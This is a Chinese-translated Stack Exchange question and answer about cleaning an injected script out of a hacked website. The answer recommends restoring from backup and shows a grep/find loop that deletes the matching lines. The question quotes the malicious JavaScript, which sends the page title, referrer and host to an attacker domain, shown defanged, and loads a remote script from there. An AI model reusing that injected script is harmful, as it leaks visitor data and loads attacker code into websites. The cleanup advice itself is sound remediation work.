我的网站被黑/感染了。我替换了恶意链接的url,但是恶意脚本中的其他元素仍使我的网站被阻止。在不插入一百个“转义符”的情况下,如何从网站上的三打文件中删除以下脚本?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
堆栈交换上的其他页面无法回答此问题。
要使用xxxx_hack_was_here等替换恶意网址,我使用了: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
首先,我同意以上评论:不要sed
用来从被黑客攻击中恢复过来。您将永远想知道您是否错过了什么。从备份还原,期间。
但是,您提出的字面问题是,在不出现特殊字符的情况下如何在出现的地方删除长字符串会更容易处理。
我正在从您的问题中做出一些推论/假设,而您实际上并没有直接陈述这些问题:
如果上述假设正确,请执行以下操作:
hackline.txt
。将这一级别放在要处理的目录上方。如果出现错误,请复制整个目录。
cp -a mydir mydircopy
在目录(或副本)上运行以下循环以删除所有hackline实例:
cd mydir
for f in *; do
[ -f "$f" ] && [ -r "$f" ] || continue
grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
mv -- "$f.fixed" "$f"
done
这里的概念是将您hackline.txt
用作必须与整行匹配的固定字符串的列表,然后grep
仅用于获得与该字符串列表不匹配的行。
-x
表示“整行”;-F
表示“固定字符串,而不是正则表达式”;-v
反转搜索;-f
接受文件中的模式列表。
如果您的网站目录是分层目录而不是固定目录(实际上很有可能),则可以使用find
而不是for循环:
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
然后使用递归diff
检查所有内容是否均应满足:
diff -r mydircopy mydir
本文收集自互联网,转载请注明来源。
如有侵权,请联系[email protected] 删除。
我来说两句